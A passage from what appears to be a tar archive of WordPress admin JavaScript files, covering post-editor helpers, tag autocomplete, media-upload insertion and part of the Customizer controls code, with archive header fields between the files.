e=t.which;13===e&&(t.preventDefault(),p.children(".save").trigger("click")),27===e&&p.children(".cancel").trigger("click")}).on("keyup",function(){s.val(this.value)}).trigger("focus")}),window.wptitlehint=function(t){var e=h("#"+(t=t||"title")),i=h("#"+t+"-prompt-text");""===e.val()&&i.removeClass("screen-reader-text"),e.on("input",function(){""===this.value?i.removeClass("screen-reader-text"):i.addClass("screen-reader-text")})},wptitlehint(),t=h("#post-status-info"),c=h("#postdivrich"),!u.length||"ontouchstart"in window?h("#content-resize-handle").hide():t.on("mousedown.wp-editor-resize",function(t){(o="undefined"!=typeof tinymce?tinymce.get("content"):o)&&!o.isHidden()?(r=!0,l=h("#content_ifr").height()-t.pageY):(r=!1,l=u.height()-t.pageY,u.trigger("blur")),v.on("mousemove.wp-editor-resize",D).on("mouseup.wp-editor-resize mouseleave.wp-editor-resize",j),t.preventDefault()}).on("mouseup.wp-editor-resize",j),"undefined"!=typeof tinymce&&(h("#post-formats-select input.post-format").on("change.set-editor-class",function(){var t,e,i=this.id;i&&h(this).prop("checked")&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpost-format-[^ ]+/,""),t.dom.addClass(e,"post-format-0"==i?"post-format-standard":i),h(document).trigger("editor-classchange"))}),h("#page_template").on("change.set-editor-class",function(){var t,e,i=h(this).val()||"";(i=i.substr(i.lastIndexOf("/")+1,i.length).replace(/\.php$/,"").replace(/\./g,"-"))&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpage-template-[^ ]+/,""),t.dom.addClass(e,"page-template-"+i),h(document).trigger("editor-classchange"))})),u.on("keydown.wp-autosave",function(t){83!==t.which||t.shiftKey||t.altKey||y&&(!t.metaKey||t.ctrlKey)||!y&&!t.ctrlKey||(wp.autosave&&wp.autosave.server.triggerSave(),t.preventDefault())}),"auto-draft"===h("#original_post_status").val()&&window.history.replaceState&&h("#publish").on("click",function(){p=(p=window.location.href)+(-1!==p.indexOf("?")?"&":"?")+"wp-post-new-reload=true",window.history.replaceState(null,null,p)}),_.on("success",function(t){var e=h(t.trigger),i=h(".success",e.closest(".copy-to-clipboard-container"));t.clearSelection(),clearTimeout(s),i.removeClass("hidden"),s=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(x("The file URL has been copied to your clipboard"))})}),function(t,o){t(function(){var i,e=t("#content"),a=t("#wp-word-count").find(".word-count"),n=0;function s(){var t=!i||i.isHidden()?e.val():i.getContent({format:"raw"}),t=o.count(t);t!==n&&a.text(t),n=t}t(document).on("tinymce-editor-init",function(t,e){"content"===e.id&&(i=e).on("nodechange keyup",_.debounce(s,1e3))}),e.on("input keyup",_.debounce(s,1e3)),s()})}(jQuery,new wp.utils.WordCounter); js/tags-suggest.js 0000644 00000013213 15233246127 0010140 0 ustar 00 /** * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies. * * @output wp-admin/js/tags-suggest.js */ ( function( $ ) { var tempID = 0; var separator = wp.i18n._x( ',', 'tag delimiter' ) || ','; var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; function split( val ) { return val.split( new RegExp( separator + '\\s*' ) ); } function getLast( term ) { return split( term ).pop(); } /** * Add UI Autocomplete to an input or textarea element with presets for use * with non-hierarchical taxonomies. * * Example: `$( element ).wpTagsSuggest( options )`. * * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or * can be in `options.taxonomy`. * * @since 4.7.0 * * @param {Object} options Options that are passed to UI Autocomplete. Can be used to override the default settings. * @return {Object} jQuery instance. */ $.fn.wpTagsSuggest = function( options ) { var cache; var last; var $element = $( this ); // Do not initialize if the element doesn't exist. if ( ! $element.length ) { return this; } options = options || {}; var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag'; delete( options.taxonomy ); options = $.extend( { source: function( request, response ) { var term; if ( last === request.term ) { response( cache ); return; } term = getLast( request.term ); $.get( window.ajaxurl, { action: 'ajax-tag-search', tax: taxonomy, q: term, number: 20 } ).always( function() { $element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes? } ).done( function( data ) { var tagName; var tags = []; if ( data ) { data = data.split( '\n' ); for ( tagName in data ) { var id = ++tempID; tags.push({ id: id, name: data[tagName] }); } cache = tags; response( tags ); } else { response( tags ); } } ); last = request.term; }, focus: function( event, ui ) { $element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id ); // Don't empty the input field when using the arrow keys // to highlight items. See api.jqueryui.com/autocomplete/#event-focus event.preventDefault(); }, select: function( event, ui ) { var tags = split( $element.val() ); // Remove the last user input. tags.pop(); // Append the new tag and an empty element to get one more separator at the end. tags.push( ui.item.name, '' ); $element.val( tags.join( separator + ' ' ) ); if ( $.ui.keyCode.TAB === event.keyCode ) { // Audible confirmation message when a tag has been selected. window.wp.a11y.speak( wp.i18n.__( 'Term selected.' ), 'assertive' ); event.preventDefault(); } else if ( $.ui.keyCode.ENTER === event.keyCode ) { // If we're in the edit post Tags meta box, add the tag. if ( window.tagBox ) { window.tagBox.userAction = 'add'; window.tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); } // Do not close Quick Edit / Bulk Edit. event.preventDefault(); event.stopPropagation(); } return false; }, open: function() { $element.attr( 'aria-expanded', 'true' ); }, close: function() { $element.attr( 'aria-expanded', 'false' ); }, minLength: 2, position: { my: 'left top+2', at: 'left bottom', collision: 'none' }, messages: { noResults: __( 'No results found.' ), results: function( number ) { return sprintf( /* translators: %d: Number of search results found. */ _n( '%d result found. Use up and down arrow keys to navigate.', '%d results found. Use up and down arrow keys to navigate.', number ), number ); } } }, options ); $element.on( 'keydown', function() { $element.removeAttr( 'aria-activedescendant' ); } ); $element.autocomplete( options ); // Ensure the autocomplete instance exists. if ( ! $element.autocomplete( 'instance' ) ) { return this; } $element.autocomplete( 'instance' )._renderItem = function( ul, item ) { return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' ) .text( item.name ) .appendTo( ul ); }; $element.attr( { 'role': 'combobox', 'aria-autocomplete': 'list', 'aria-expanded': 'false', 'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' ) } ) .on( 'focus', function() { var inputValue = split( $element.val() ).pop(); // Don't trigger a search if the field is empty. // Also, avoids screen readers announce `No search results`. if ( inputValue ) { $element.autocomplete( 'search' ); } } ); // Returns a jQuery object containing the menu element. $element.autocomplete( 'widget' ) .addClass( 'wp-tags-autocomplete' ) .attr( 'role', 'listbox' ) .removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI. /* * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301. * The `menufocus` and `menublur` events are the same events used to add and remove * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget. */ .on( 'menufocus', function( event, ui ) { ui.item.attr( 'aria-selected', 'true' ); }) .on( 'menublur', function() { // The `menublur` event returns an object where the item is `null`, // so we need to find the active item with other means. $( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' ); }); return this; }; }( jQuery ) ); js/media-upload.js 0000644 00000006611 15233246127 0010070 0 ustar 00 /** * Contains global functions for the media upload within the post edit screen. * * Updates the ThickBox anchor href and the ThickBox's own properties in order * to set the size and position on every resize event. Also adds a function to * send HTML or text to the currently active editor. * * @file * @since 2.5.0 * @output wp-admin/js/media-upload.js * * @requires jQuery */ /* global tinymce, QTags, wpActiveEditor, tb_position */ /** * Sends the HTML passed in the parameters to TinyMCE. * * @since 2.5.0 * * @global * * @param {string} html The HTML to be sent to the editor. * @return {void|boolean} Returns false when both TinyMCE and QTags instances * are unavailable. This means that the HTML was not * sent to the editor. */ window.send_to_editor = function( html ) { var editor, hasTinymce = typeof tinymce !== 'undefined', hasQuicktags = typeof QTags !== 'undefined'; // If no active editor is set, try to set it. if ( ! wpActiveEditor ) { if ( hasTinymce && tinymce.activeEditor ) { editor = tinymce.activeEditor; window.wpActiveEditor = editor.id; } else if ( ! hasQuicktags ) { return false; } } else if ( hasTinymce ) { editor = tinymce.get( wpActiveEditor ); } // If the editor is set and not hidden, // insert the HTML into the content of the editor. if ( editor && ! editor.isHidden() ) { editor.execCommand( 'mceInsertContent', false, html ); } else if ( hasQuicktags ) { // If quick tags are available, insert the HTML into its content. QTags.insertContent( html ); } else { // If neither the TinyMCE editor and the quick tags are available, // add the HTML to the current active editor. document.getElementById( wpActiveEditor ).value += html; } // If the old thickbox remove function exists, call it. if ( window.tb_remove ) { try { window.tb_remove(); } catch( e ) {} } }; (function($) { /** * Recalculates and applies the new ThickBox position based on the current * window size. * * @since 2.6.0 * * @global * * @return {Object[]} Array containing jQuery objects for all the found * ThickBox anchors. */ window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 833 < width ) ? 833 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } /** * Recalculates the new height and width for all links with a ThickBox class. * * @since 2.6.0 */ return $('a.thickbox').each( function() { var href = $(this).attr('href'); if ( ! href ) return; href = href.replace(/&width=[0-9]+/g, ''); href = href.replace(/&height=[0-9]+/g, ''); $(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) ); }); }; // Add handler to recalculates the ThickBox position when the window is resized. $(window).on( 'resize', function(){ tb_position(); }); })(jQuery); js/customize-controls.js 0000644 00001100647 15233246127 0011417 0 ustar 00 /** * @output wp-admin/js/customize-controls.js */ /* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */ (function( exports, $ ){ var Container, focus, normalizedTransitionendEventName, api = wp.customize; var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' ); var isReducedMotion = reducedMotionMediaQuery.matches; reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) { isReducedMotion = event.matches; }); api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{ /** * Whether the notification should show a loading spinner. * * @since 4.9.0 * @var {boolean} */ loading: false, /** * A notification that is displayed in a full-screen overlay. * * @constructs wp.customize.OverlayNotification * @augments wp.customize.Notification * * @since 4.9.0 * * @param {string} code - Code. * @param {Object} params - Params. */ initialize: function( code, params ) { var notification = this; api.Notification.prototype.initialize.call( notification, code, params ); notification.containerClasses += ' notification-overlay'; if ( notification.loading ) { notification.containerClasses += ' notification-loading'; } }, /** * Render notification. * * @since 4.9.0 * * @return {jQuery} Notification container. */ render: function() { var li = api.Notification.prototype.render.call( this ); li.on( 'keydown', _.bind( this.handleEscape, this ) ); return li; }, /** * Stop propagation on escape key presses, but also dismiss notification if it is dismissible. * * @since 4.9.0 * * @param {jQuery.Event} event - Event. * @return {void} */ handleEscape: function( event ) { var notification = this; if ( 27 === event.which ) { event.stopPropagation(); if ( notification.dismissible && notification.parent ) { notification.parent.remove( notification.code ); } } } }); api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{ /** * Whether the alternative style should be used. * * @since 4.9.0 * @type {boolean} */ alt: false, /** * The default constructor for items of the collection. * * @since 4.9.0 * @type {object} */ defaultConstructor: api.Notification, /** * A collection of observable notifications. * * @since 4.9.0 * * @constructs wp.customize.Notifications * @augments wp.customize.Values * * @param {Object} options - Options. * @param {jQuery} [options.container] - Container element for notifications. This can be injected later. * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications. * * @return {void} */ initialize: function( options ) { var collection = this; api.Values.prototype.initialize.call( collection, options ); _.bindAll( collection, 'constrainFocus' ); // Keep track of the order in which the notifications were added for sorting purposes. collection._addedIncrement = 0; collection._addedOrder = {}; // Trigger change event when notification is added or removed. collection.bind( 'add', function( notification ) { collection.trigger( 'change', notification ); }); collection.bind( 'removed', function( notification ) { collection.trigger( 'change', notification ); }); }, /** * Get the number of notifications added. * * @since 4.9.0 * @return {number} Count of notifications. */ count: function() { return _.size( this._value ); }, /** * Add notification to the collection. * * @since 4.9.0 * * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied. * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string. * @return {wp.customize.Notification} Added notification (or existing instance if it was already added). */ add: function( notification, notificationObject ) { var collection = this, code, instance; if ( 'string' === typeof notification ) { code = notification; instance = notificationObject; } else { code = notification.code; instance = notification; } if ( ! collection.has( code ) ) { collection._addedIncrement += 1; collection._addedOrder[ code ] = collection._addedIncrement; } return api.Values.prototype.add.call( collection, code, instance ); }, /** * Add notification to the collection. * * @since 4.9.0 * @param {string} code - Notification code to remove. * @return {api.Notification} Added instance (or existing instance if it was already added). */ remove: function( code ) { var collection = this; delete collection._addedOrder[ code ]; return api.Values.prototype.remove.call( this, code ); }, /** * Get list of notifications. * * Notifications may be sorted by type followed by added time. * * @since 4.9.0 * @param {Object} args - Args. * @param {boolean} [args.sort=false] - Whether to return the notifications sorted. * @return {Array.<wp.customize.Notification>} Notifications. */ get: function( args ) { var collection = this, notifications, errorTypePriorities, params; notifications = _.values( collection._value ); params = _.extend( { sort: false }, args ); if ( params.sort ) { errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 }; notifications.sort( function( a, b ) { var aPriority = 0, bPriority = 0; if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) { aPriority = errorTypePriorities[ a.type ]; } if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) { bPriority = errorTypePriorities[ b.type ]; } if ( aPriority !== bPriority ) { return bPriority - aPriority; // Show errors first. } return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher. }); } return notifications; }, /** * Render notifications area. * * @since 4.9.0 * @return {void} */ render: function() { var collection = this, notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [], previousNotificationsByCode = {}, listElement, focusableElements; // Short-circuit if there are no container to render into. if ( ! collection.container || ! collection.container.length ) { return; } notifications = collection.get( { sort: true } ); collection.container.toggle( 0 !== notifications.length ); // Short-circuit if there are no changes to the notifications. if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) { return; } // Make sure list is part of the container. listElement = collection.container.children( 'ul' ).first(); if ( ! listElement.length ) { listElement = $( '<ul></ul>' ); collection.container.append( listElement ); } // Remove all notifications prior to re-rendering. listElement.find( '> [data-code]' ).remove(); _.each( collection.previousNotifications, function( notification ) { previousNotificationsByCode[ notification.code ] = notification; }); // Add all notifications in the sorted order. _.each( notifications, function( notification ) { var notificationContainer; if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) { wp.a11y.speak( notification.message, 'assertive' ); } notificationContainer = $( notification.render() ); notification.container = notificationContainer; listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement. if ( notification.extended( api.OverlayNotification ) ) { overlayNotifications.push( notification ); } }); hasOverlayNotification = Boolean( overlayNotifications.length ); if ( collection.previousNotifications ) { hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) { return notification.extended( api.OverlayNotification ); } ) ); } if ( hasOverlayNotification !== hadOverlayNotification ) { $( document.body ).toggleClass( 'customize-loading', hasOverlayNotification ); collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification ); if ( hasOverlayNotification ) { collection.previousActiveElement = document.activeElement; $( document ).on( 'keydown', collection.constrainFocus ); } else { $( document ).off( 'keydown', collection.constrainFocus ); } } if ( hasOverlayNotification ) { collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container; collection.focusContainer.prop( 'tabIndex', -1 ); focusableElements = collection.focusContainer.find( ':focusable' ); if ( focusableElements.length ) { focusableElements.first().focus(); } else { collection.focusContainer.focus(); } } else if ( collection.previousActiveElement ) { $( collection.previousActiveElement ).trigger( 'focus' ); collection.previousActiveElement = null; } collection.previousNotifications = notifications; collection.previousContainer = collection.container; collection.trigger( 'rendered' ); }, /** * Constrain focus on focus container. * * @since 4.9.0 * * @param {jQuery.Event} event - Event. * @return {void} */ constrainFocus: function constrainFocus( event ) { var collection = this, focusableElements; // Prevent keys from escaping. event.stopPropagation(); if ( 9 !== event.which ) { // Tab key. return; } focusableElements = collection.focusContainer.find( ':focusable' ); if ( 0 === focusableElements.length ) { focusableElements = collection.focusContainer; } if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) { event.preventDefault(); focusableElements.first().focus(); } else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) { event.preventDefault(); focusableElements.first().focus(); } else if ( focusableElements.first().is( event.target ) && event.shiftKey ) { event.preventDefault(); focusableElements.last().focus(); } } }); api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{ /** * Default params. * * @since 4.9.0 * @var {object} */ defaults: { transport: 'refresh', dirty: false }, /** * A Customizer Setting. * * A setting is WordPress data (theme mod, option, menu, etc.) that the user can * draft changes to in the Customizer. * * @see PHP class WP_Customize_Setting. * * @constructs wp.customize.Setting * @augments wp.customize.Value * * @since 3.4.0 * * @param {string} id - The setting ID. * @param {*} value - The initial value of the setting. * @param {Object} [options={}] - Options. * @param {string} [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'. * @param {boolean} [options.dirty=false] - Whether the setting should be considered initially dirty. * @param {Object} [options.previewer] - The Previewer instance to sync with. Defaults to wp.customize.previewer. */ initialize: function( id, value, options ) { var setting = this, params; params = _.extend( { previewer: api.previewer }, setting.defaults, options || {} ); api.Value.prototype.initialize.call( setting, value, params ); setting.id = id; setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from. setting.notifications = new api.Notifications(); // Whenever the setting's value changes, refresh the preview. setting.bind( setting.preview ); }, /** * Refresh the preview, respective of the setting's refresh policy. * * If the preview hasn't sent a keep-alive message and is likely * disconnected by having navigated to a non-allowed URL, then the * refresh transport will be forced when postMessage is the transport. * Note that postMessage does not throw an error when the recipient window * fails to match the origin window, so using try/catch around the * previewer.send() call to then fallback to refresh will not work. * * @since 3.4.0 * @access public * * @return {void} */ preview: function() { var setting = this, transport; transport = setting.transport; if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) { transport = 'refresh'; } if ( 'postMessage' === transport ) { setting.previewer.send( 'setting', [ setting.id, setting() ] ); } else if ( 'refresh' === transport ) { setting.previewer.refresh(); } }, /** * Find controls associated with this setting. * * @since 4.6.0 * @return {wp.customize.Control[]} Controls associated with setting. */ findControls: function() { var setting = this, controls = []; api.control.each( function( control ) { _.each( control.settings, function( controlSetting ) { if ( controlSetting.id === setting.id ) { controls.push( control ); } } ); } ); return controls; } }); /** * Current change count. * * @alias wp.customize._latestRevision * * @since 4.7.0 * @type {number} * @protected */ api._latestRevision = 0; /** * Last revision that was saved. * * @alias wp.customize._lastSavedRevision * * @since 4.7.0 * @type {number} * @protected */ api._lastSavedRevision = 0; /** * Latest revisions associated with the updated setting. * * @alias wp.customize._latestSettingRevisions * * @since 4.7.0 * @type {object} * @protected */ api._latestSettingRevisions = {}; /* * Keep track of the revision associated with each updated setting so that * requestChangesetUpdate knows which dirty settings to include. Also, once * ready is triggered and all initial settings have been added, increment * revision for each newly-created initially-dirty setting so that it will * also be included in changeset update requests. */ api.bind( 'change', function incrementChangedSettingRevision( setting ) { api._latestRevision += 1; api._latestSettingRevisions[ setting.id ] = api._latestRevision; } ); api.bind( 'ready', function() { api.bind( 'add', function incrementCreatedSettingRevision( setting ) { if ( setting._dirty ) { api._latestRevision += 1; api._latestSettingRevisions[ setting.id ] = api._latestRevision; } } ); } ); /** * Get the dirty setting values. * * @alias wp.customize.dirtyValues * * @since 4.7.0 * @access public * * @param {Object} [options] Options. * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes). * @return {Object} Dirty setting values. */ api.dirtyValues = function dirtyValues( options ) { var values = {}; api.each( function( setting ) { var settingRevision; if ( ! setting._dirty ) { return; } settingRevision = api._latestSettingRevisions[ setting.id ]; // Skip including settings that have already been included in the changeset, if only requesting unsaved. if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) { return; } values[ setting.id ] = setting.get(); } ); return values; }; /** * Request updates to the changeset. * * @alias wp.customize.requestChangesetUpdate * * @since 4.7.0 * @access public * * @param {Object} [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null. * If not provided, then the changes will still be obtained from unsaved dirty settings. * @param {Object} [args] - Additional options for the save request. * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft. * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server. * @param {string} [args.title] - Title to update in the changeset. Optional. * @param {string} [args.date] - Date to update in the changeset. Optional. * @return {jQuery.Promise} Promise resolving with the response data. */ api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) { var deferred, request, submittedChanges = {}, data, submittedArgs; deferred = new $.Deferred(); // Prevent attempting changeset update while request is being made. if ( 0 !== api.state( 'processing' ).get() ) { deferred.reject( 'already_processing' ); return deferred.promise(); } submittedArgs = _.extend( { title: null, date: null, autosave: false, force: false }, args ); if ( changes ) { _.extend( submittedChanges, changes ); } // Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes. _.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) { if ( ! changes || null !== changes[ settingId ] ) { submittedChanges[ settingId ] = _.extend( {}, submittedChanges[ settingId ] || {}, { value: dirtyValue } ); } } ); // Allow plugins to attach additional params to the settings. api.trigger( 'changeset-save', submittedChanges, submittedArgs ); // Short-circuit when there are no pending changes. if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) { deferred.resolve( {} ); return deferred.promise(); } // A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used. // Status is also disallowed for revisions regardless. if ( submittedArgs.status ) { return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise(); } // Dates not beung allowed for revisions are is a technical limitation of post revisions. if ( submittedArgs.date && submittedArgs.autosave ) { return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise(); } // Make sure that publishing a changeset waits for all changeset update requests to complete. api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 ); deferred.always( function() { api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 ); } ); // Ensure that if any plugins add data to save requests by extending query() that they get included here. data = api.previewer.query( { excludeCustomizedSaved: true } ); delete data.customized; // Being sent in customize_changeset_data instead. _.extend( data, { nonce: api.settings.nonce.save, customize_theme: api.settings.theme.stylesheet, customize_changeset_data: JSON.stringify( submittedChanges ) } ); if ( null !== submittedArgs.title ) { data.customize_changeset_title = submittedArgs.title; } if ( null !== submittedArgs.date ) { data.customize_changeset_date = submittedArgs.date; } if ( false !== submittedArgs.autosave ) { data.customize_changeset_autosave = 'true'; } // Allow plugins to modify the params included with the save request. api.trigger( 'save-request-params', data ); request = wp.ajax.post( 'customize_save', data ); request.done( function requestChangesetUpdateDone( data ) { var savedChangesetValues = {}; // Ensure that all settings updated subsequently will be included in the next changeset update request. api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision ); api.state( 'changesetStatus' ).set( data.changeset_status ); if ( data.changeset_date ) { api.state( 'changesetDate' ).set( data.changeset_date ); } deferred.resolve( data ); api.trigger( 'changeset-saved', data ); if ( data.setting_validities ) { _.each( data.setting_validities, function( validity, settingId ) { if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) { savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value; } } ); } api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) ); } ); request.fail( function requestChangesetUpdateFail( data ) { deferred.reject( data ); api.trigger( 'changeset-error', data ); } ); request.always( function( data ) { if ( data.setting_validities ) { api._handleSettingValidities( { settingValidities: data.setting_validities } ); } } ); return deferred.promise(); }; /** * Watch all changes to Value properties, and bubble changes to parent Values instance * * @alias wp.customize.utils.bubbleChildValueChanges * * @since 4.1.0 * * @param {wp.customize.Class} instance * @param {Array} properties The names of the Value instances to watch. */ api.utils.bubbleChildValueChanges = function ( instance, properties ) { $.each( properties, function ( i, key ) { instance[ key ].bind( function ( to, from ) { if ( instance.parent && to !== from ) { instance.parent.trigger( 'change', instance ); } } ); } ); }; /** * Expand a panel, section, or control and focus on the first focusable element. * * @alias wp.customize~focus * * @since 4.1.0 * * @param {Object} [params] * @param {Function} [params.completeCallback] */ focus = function ( params ) { var construct, completeCallback, focus, focusElement, sections; construct = this; params = params || {}; focus = function () { // If a child section is currently expanded, collapse it. if ( construct.extended( api.Panel ) ) { sections = construct.sections(); if ( 1 < sections.length ) { sections.forEach( function ( section ) { if ( section.expanded() ) { section.collapse(); } } ); } } var focusContainer; if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) { focusContainer = construct.contentContainer; } else { focusContainer = construct.container; } focusElement = focusContainer.find( '.control-focus:first' ); if ( 0 === focusElement.length ) { // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583 focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first(); } focusElement.focus(); }; if ( params.completeCallback ) { completeCallback = params.completeCallback; params.completeCallback = function () { focus(); completeCallback(); }; } else { params.completeCallback = focus; } api.state( 'paneVisible' ).set( true ); if ( construct.expand ) { construct.expand( params ); } else { params.completeCallback(); } }; /** * Stable sort for Panels, Sections, and Controls. * * If a.priority() === b.priority(), then sort by their respective params.instanceNumber. * * @alias wp.customize.utils.prioritySort * * @since 4.1.0 * * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b * @return {number} */ api.utils.prioritySort = function ( a, b ) { if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) { return a.params.instanceNumber - b.params.instanceNumber; } else { return a.priority() - b.priority(); } }; /** * Return whether the supplied Event object is for a keydown event but not the Enter key. * * @alias wp.customize.utils.isKeydownButNotEnterEvent * * @since 4.1.0 * * @param {jQuery.Event} event * @return {boolean} */ api.utils.isKeydownButNotEnterEvent = function ( event ) { return ( 'keydown' === event.type && 13 !== event.which ); }; /** * Return whether the two lists of elements are the same and are in the same order. * * @alias wp.customize.utils.areElementListsEqual * * @since 4.1.0 * * @param {Array|jQuery} listA * @param {Array|jQuery} listB * @return {boolean} */ api.utils.areElementListsEqual = function ( listA, listB ) { var equal = ( listA.length === listB.length && // If lists are different lengths, then naturally they are not equal. -1 === _.indexOf( _.map( // Are there any false values in the list returned by map? _.zip( listA, listB ), // Pair up each element between the two lists. function ( pair ) { return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal. } ), false ) // Check for presence of false in map's return value. ); return equal; }; /** * Highlight the existence of a button. * * This function reminds the user of a button represented by the specified * UI element, after an optional delay. If the user focuses the element * before the delay passes, the reminder is canceled. * * @alias wp.customize.utils.highlightButton * * @since 4.9.0 * * @param {jQuery} button - The element to highlight. * @param {Object} [options] - Options. * @param {number} [options.delay=0] - Delay in milliseconds. * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element. * If the user focuses the target before the delay passes, the reminder * is canceled. This option exists to accommodate compound buttons * containing auxiliary UI, such as the Publish button augmented with a * Settings button. * @return {Function} An idempotent function that cancels the reminder. */ api.utils.highlightButton = function highlightButton( button, options ) { var animationClass = 'button-see-me', canceled = false, params; params = _.extend( { delay: 0, focusTarget: button }, options ); function cancelReminder() { canceled = true; } params.focusTarget.on( 'focusin', cancelReminder ); setTimeout( function() { params.focusTarget.off( 'focusin', cancelReminder ); if ( ! canceled ) { button.addClass( animationClass ); button.one( 'animationend', function() { /* * Remove animation class to avoid situations in Customizer where * DOM nodes are moved (re-inserted) and the animation repeats. */ button.removeClass( animationClass ); } ); } }, params.delay ); return cancelReminder; }; /** * Get current timestamp adjusted for server clock time. * * Same functionality as the `current_time( 'mysql', false )` function in PHP. * * @alias wp.customize.utils.getCurrentTimestamp * * @since 4.9.0 * * @return {number} Current timestamp. */ api.utils.getCurrentTimestamp = function getCurrentTimestamp() { var currentDate, currentClientTimestamp, timestampDifferential; currentClientTimestamp = _.now(); currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) ); timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp; timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp; currentDate.setTime( currentDate.getTime() + timestampDifferential ); return currentDate.getTime(); }; /** * Get remaining time of when the date is set. * * @alias wp.customize.utils.getRemainingTime * * @since 4.9.0 * * @param {string|number|Date} datetime - Date time or timestamp of the future date. * @return {number} remainingTime - Remaining time in milliseconds. */ api.utils.getRemainingTime = function getRemainingTime( datetime ) { var millisecondsDivider = 1000, remainingTime, timestamp; if ( datetime instanceof Date ) { timestamp = datetime.getTime(); } else if ( 'string' === typeof datetime ) { timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime(); } else { timestamp = datetime; } remainingTime = timestamp - api.utils.getCurrentTimestamp(); remainingTime = 